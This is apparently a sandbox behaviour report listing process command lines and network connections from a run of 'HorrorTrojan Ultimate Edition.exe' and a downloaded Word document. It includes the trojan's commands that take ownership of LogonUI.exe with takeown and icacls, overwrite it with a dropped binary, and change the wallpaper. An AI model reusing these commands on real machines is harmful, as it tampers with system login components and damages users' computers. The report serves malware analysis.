
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=10508 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5892 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=185 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9260 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=10232 /prefetch:8

C:\Users\Admin\PCAppStore\nwjs\NW_store.exe

"C:\Users\Admin\PCAppStore\nwjs\NW_store.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\pc_app_store\User Data" --nwapp-path=".\ui\." --no-appcompat-clear --start-stack-profiler --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4416 --field-trial-handle=1912,i,9629485765352096545,8125171337817683519,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=188 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7704 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6752 /prefetch:8

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Downloads\metrofax.doc" /o ""

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=190 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9332 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=191 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8528 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=192 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5328 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=193 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6356 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=194 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8764 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=195 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2036 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=196 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4520 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=197 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10952 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=198 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9048 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=199 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10880 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=200 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4888 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=202 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6384 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=204 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=10388 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=10440 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8116 /prefetch:8

C:\Users\Admin\Downloads\HorrorTrojan Ultimate Edition.exe

"C:\Users\Admin\Downloads\HorrorTrojan Ultimate Edition.exe"

C:\Windows\system32\wscript.exe

"C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\54DC.tmp\54DD.tmp\54DE.vbs //Nologo

C:\Users\Admin\AppData\Local\Temp\54DC.tmp\mbr.exe

"C:\Users\Admin\AppData\Local\Temp\54DC.tmp\mbr.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\54DC.tmp\tools.cmd" "

C:\Windows\system32\reg.exe

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Windows\system32\rundll32.exe

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

C:\Users\Admin\AppData\Local\Temp\54DC.tmp\jeffpopup.exe

"C:\Users\Admin\AppData\Local\Temp\54DC.tmp\jeffpopup.exe"

C:\Users\Admin\AppData\Local\Temp\54DC.tmp\bobcreep.exe

"C:\Users\Admin\AppData\Local\Temp\54DC.tmp\bobcreep.exe"

C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe

"C:\Users\Admin\AppData\Local\Temp\54DC.tmp\gdifuncs.exe"

C:\windows\SysWOW64\takeown.exe

"C:\windows\system32\takeown.exe" /f C:\windows\system32\LogonUI.exe

C:\windows\SysWOW64\icacls.exe

"C:\windows\system32\icacls.exe" C:\\windows\\system32\\LogonUI.exe /granted "Admin":F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c cd\&cd Windows\system32&takeown /f LogonUI.exe&icacls LogonUI.exe /granted "%username%":F&cd..&cd winbase_base_procid_none&cd secureloc0x65&copy "ui65.exe" "C:\windows\system32\LogonUI.exe" /Y&echo WinLTDRStartwinpos > "c:\windows\WinAttr.gci"&timeout 2&taskkill /f /im "tobi0a0c.exe"&exit

C:\Windows\SysWOW64\takeown.exe

takeown /f LogonUI.exe

C:\Windows\SysWOW64\icacls.exe

icacls LogonUI.exe /granted "Admin":F

C:\Windows\SysWOW64\timeout.exe

timeout 2

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im "tobi0a0c.exe"

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 google.com udp
US 8.8.8.8:53 google.com udp
BE 2.17.107.105:443 www.bing.com tcp
BE 2.17.107.105:443 www.bing.com tcp
BE 2.17.107.105:443 www.bing.com tcp
BE 2.17.107.105:443 www.bing.com tcp
BE 2.17.107.105:443 www.bing.com tcp
NL 40.126.32.136:443 login.microsoftonline.com tcp
US 13.107.5.80:443 services.bingapis.com tcp
US 104.18.33.89:443 www2.bing.com tcp
US 104.18.33.89:443 www2.bing.com tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:8443 tcp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 151.101.66.137:443 code.jquery.com tcp
US 172.67.142.245:443 use.fontawesome.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
BE 2.17.107.235:80 apps.identrust.com tcp
US 8.8.8.8:53 14.25.17.104.in-addr.arpa udp
US 8.8.8.8:53 226.20.18.104.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 235.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 23.149.64.172.in-addr.arpa udp
US 172.67.142.245:443 use.fontawesome.com tcp
US 172.67.218.34:443 rbx.how tcp
US 172.67.218.34:443 rbx.how tcp
US 172.67.218.34:443 rbx.how tcp
US 172.67.218.34:443 rbx.how tcp
US 172.67.218.34:443 rbx.how tcp
US 172.67.218.34:443 rbx.how tcp
GB 18.165.160.87:80 c.pubguru.net tcp
DE 52.59.171.243:443 a3.pubguru.net tcp
GB 142.250.200.34:80 securepubads.g.doubleclick.net tcp
GB 2.20.12.77:443 tr.rbxcdn.com tcp
GB 2.20.12.77:443 tr.rbxcdn.com tcp
GB 2.20.12.77:443 tr.rbxcdn.com tcp
GB 2.20.12.77:443 tr.rbxcdn.com tcp
GB 2.20.12.77:443 tr.rbxcdn.com tcp
DE 52.59.171.243:443 a3.pubguru.net tcp
DE 52.59.171.243:443 a3.pubguru.net tcp
GB 216.58.204.78:443 www.youtube.com tcp
US 172.67.172.116:8443 claimrbx.gg tcp
US 8.8.8.8:53 116.172.67.172.in-addr.arpa udp
GB 216.58.204.78:443 www.youtube.com udp
GB 216.58.204.86:443 i.ytimg.com tcp
US 104.18.33.89:443 www2.bing.com tcp
US 104.18.33.89:443 www2.bing.com tcp
GB 142.250.187.194:443 googleads.g.doubleclick.net tcp
GB 142.250.187.194:443 googleads.g.doubleclick.net udp
GB 142.250.187.234:443 jnn-pa.googleapis.com tcp
GB 142.250.187.196:443 www.google.com tcp
GB 172.217.169.6:443 static.doubleclick.net tcp
GB 142.250.180.1:443 yt3.ggpht.com tcp
GB 142.250.187.234:443 jnn-pa.googleapis.com udp
GB 142.250.179.238:443 play.google.com tcp
GB 142.250.179.238:443 play.google.com tcp
GB 142.250.179.238:443 play.google.com tcp
GB 142.250.179.238:443 play.google.com udp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
US 151.101.1.229:443 cdn.jsdelivr.net udp
CA 15.235.9.150:8443 tcp
US 172.67.172.116:8443 claimrbx.gg tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
US 172.67.139.41:443 wall.adgaterewards.com tcp
US 162.159.133.233:443 cdn.discordapp.com tcp
US 162.159.133.233:443 cdn.discordapp.com tcp
US 172.67.172.116:8443 claimrbx.gg tcp
US 185.199.109.153:80 malsup.github.io tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.133:443 user-images.githubusercontent.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 140.82.112.21:443 collector.github.com tcp
US 140.82.112.21:443 collector.github.com tcp
GB 20.26.156.210:443 api.github.com tcp
US 35.190.80.1:443 a.nel.cloudflare.com tcp
US 35.190.80.1:443 a.nel.cloudflare.com tcp
US 35.190.80.1:443 a.nel.cloudflare.com udp
DE 52.59.171.243:443 a3.pubguru.net tcp
CA 15.235.9.150:80 15.235.9.150 tcp
US 185.199.110.133:443 user-images.githubusercontent.com tcp
CA 15.235.9.150:80 15.235.9.150 tcp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.216:443 codeload.github.com tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.216:443 codeload.github.com tcp
CA 15.235.9.150:80 15.235.9.150 tcp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.210:443 api.github.com tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.216:443 codeload.github.com tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
CA 15.235.9.150:80 15.235.9.150 tcp
US 8.8.8.8:53 r.bing.com udp
BE 88.221.83.187:443 r.bing.com tcp
BE 2.17.107.105:443 r.bing.com tcp
NL 40.126.32.136:443 login.microsoftonline.com tcp
US 8.8.8.8:53 187.83.221.88.in-addr.arpa udp
US 104.18.33.89:443 www2.bing.com tcp
US 104.18.33.89:443 www2.bing.com tcp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
CA 15.235.9.150:80 15.235.9.150 tcp
US 104.18.33.89:443 www2.bing.com tcp
US 104.18.33.89:443 www2.bing.com tcp
CA 15.235.9.150:80 15.235.9.150 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 th.bing.com udp
US 8.8.8.8:53 r.bing.com udp
BE 2.17.107.105:443 r.bing.com tcp
US 8.8.8.8:53 bing.com udp
US 204.79.197.200:443 bing.com tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 151.101.193.91:443 fortnite-free-vbux.en.softonic.com tcp
US 151.101.193.91:443 fortnite-free-vbux.en.softonic.com tcp
US 151.101.193.91:443 fortnite-free-vbux.en.softonic.com udp
US 8.8.8.8:53 sc.sftcdn.net udp
US 8.8.8.8:53 images.sftcdn.net udp
US 8.8.8.8:53 softonic.com udp
US 8.8.8.8:53 bat.bing.com udp
US 8.8.8.8:53 sdk.privacy-center.org udp
US 8.8.8.8:53 www.google.com udp
US 199.232.209.91:443 softonic.com tcp
US 199.232.209.91:443 softonic.com tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
BE 23.219.230.135:443 images.sftcdn.net tcp
BE 23.219.230.135:443 images.sftcdn.net tcp
BE 23.219.230.135:443 images.sftcdn.net tcp
US 13.107.21.237:443 bat.bing.com tcp
GB 18.165.160.52:443 sdk.privacy-center.org tcp
GB 142.250.187.196:443 www.google.com udp
GB 3.162.21.19:443 c.amazon-adsystem.com tcp
GB 142.250.187.238:443 www.adsensecustomsearchads.com tcp
US 8.8.8.8:53 91.193.101.151.in-addr.arpa udp
US 8.8.8.8:53 91.209.232.199.in-addr.arpa udp
US 8.8.8.8:53 91.129.101.151.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 135.230.219.23.in-addr.arpa udp
US 8.8.8.8:53 52.160.165.18.in-addr.arpa udp
US 8.8.8.8:53 19.21.162.3.in-addr.arpa udp
US 172.64.154.167:443 www2.bing.com tcp
US 172.64.154.167:443 www2.bing.com tcp
GB 3.162.21.19:443 c.amazon-adsystem.com tcp
US 172.67.41.60:443 btloader.com tcp
GB 18.165.152.85:443 www.datadoghq-browser-agent.com tcp
US 13.107.246.64:443 www.clarity.ms tcp
GB 142.250.180.27:443 storage.googleapis.com tcp
GB 18.165.160.104:443 config.aps.amazon-adsystem.com tcp
US 3.233.158.34:443 rum.browser-intake-datadoghq.com tcp
US 3.233.158.34:443 rum.browser-intake-datadoghq.com tcp
US 3.233.158.34:443 rum.browser-intake-datadoghq.com tcp
US 3.233.158.34:443 rum.browser-intake-datadoghq.com tcp
US 130.211.23.194:443 api.btloader.com tcp
US 104.26.2.70:443 ad-delivery.net tcp
US 104.26.2.70:443 ad-delivery.net tcp
US 104.22.53.86:443 cdn.id5-sync.com tcp
US 20.114.190.119:443 x.clarity.ms tcp
US 130.211.23.194:443 api.btloader.com udp
US 8.8.8.8:53 c.clarity.ms udp
US 8.8.8.8:53 notix.io udp
US 8.8.8.8:53 238.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 167.154.64.172.in-addr.arpa udp
US 8.8.8.8:53 60.41.67.172.in-addr.arpa udp
US 8.8.8.8:53 85.152.165.18.in-addr.arpa udp
US 8.8.8.8:53 64.246.107.13.in-addr.arpa udp
US 8.8.8.8:53 27.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 104.160.165.18.in-addr.arpa udp
US 8.8.8.8:53 194.23.211.130.in-addr.arpa udp
US 8.8.8.8:53 6.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 70.2.26.104.in-addr.arpa udp
US 8.8.8.8:53 86.53.22.104.in-addr.arpa udp
US 8.8.8.8:53 2.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 34.158.233.3.in-addr.arpa udp
IE 13.74.129.1:443 c.clarity.ms tcp
NL 139.45.197.253:443 notix.io tcp
US 8.8.8.8:53 253.197.45.139.in-addr.arpa udp
US 8.8.8.8:53 www.adsensecustomsearchads.com udp
US 8.8.8.8:53 fortnite-free-vbux.en.softonic.com udp
GB 142.250.187.238:443 www.adsensecustomsearchads.com udp
US 8.8.8.8:53 5e0a5717dd0e69711648c19bd5209656.safeframe.googlesyndication.com udp
US 8.8.8.8:53 api.privacy-center.org udp
US 8.8.8.8:53 aax.amazon-adsystem.com udp
US 8.8.8.8:53 id5-sync.com udp
US 8.8.8.8:53 shb.richaudience.com udp
US 8.8.8.8:53 id.crwdcntrl.net udp
US 8.8.8.8:53 ap.lijit.com udp
US 8.8.8.8:53 hb-api.omnitagjs.com udp
GB 13.224.81.72:443 api.privacy-center.org tcp
GB 172.217.169.65:443 5e0a5717dd0e69711648c19bd5209656.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 ib.adnxs.com udp
US 8.8.8.8:53 htlb.casalemedia.com udp
US 8.8.8.8:53 ad.360yield.com udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 brightcombid.marphezis.com udp
US 8.8.8.8:53 hbopenbid.pubmatic.com udp
GB 142.250.187.194:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 partner.googleadservices.com udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 lb.eu-1-id5-sync.com udp
US 8.8.8.8:53 static.criteo.net udp
US 8.8.8.8:53 cdn-ima.33across.com udp
GB 18.172.93.140:443 aax.amazon-adsystem.com tcp
FR 185.255.84.150:443 hb-api.omnitagjs.com tcp
IE 34.254.44.204:443 ap.lijit.com tcp
DE 162.19.138.119:443 lb.eu-1-id5-sync.com tcp
DE 162.19.138.119:443 lb.eu-1-id5-sync.com tcp
IE 52.16.78.59:443 id.crwdcntrl.net tcp
DE 157.90.0.38:443 shb.richaudience.com tcp
DE 157.90.0.38:443 shb.richaudience.com tcp
DE 157.90.0.38:443 shb.richaudience.com tcp
US 104.18.36.155:443 htlb.casalemedia.com tcp
US 34.120.63.153:443 prebid.media.net tcp
US 178.128.135.204:443 brightcombid.marphezis.com tcp
US 151.101.193.229:443 cdn.jsdelivr.net udp
DE 162.19.138.83:443 lb.eu-1-id5-sync.com tcp
NL 185.89.210.141:443 ib.adnxs.com tcp
NL 178.250.1.3:443 static.criteo.net tcp
GB 13.224.81.56:443 tags.crwdcntrl.net tcp
IE 52.30.234.249:443 ad.360yield.com tcp
GB 142.250.178.2:443 partner.googleadservices.com tcp
US 104.18.35.167:443 cdn-ima.33across.com tcp
GB 185.64.190.77:443 hbopenbid.pubmatic.com tcp
GB 216.58.212.238:443 ampcid.google.com tcp
US 216.239.36.181:443 analytics.google.com tcp
GB 172.217.16.225:443 tpc.googlesyndication.com tcp
BE 64.233.167.154:443 stats.g.doubleclick.net tcp
BE 64.233.167.154:443 stats.g.doubleclick.net tcp
US 35.244.193.51:443 lexicon.33across.com tcp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.200.3:443 www.google.co.uk tcp
US 8.8.8.8:53 150.84.255.185.in-addr.arpa udp
US 8.8.8.8:53 140.93.172.18.in-addr.arpa udp
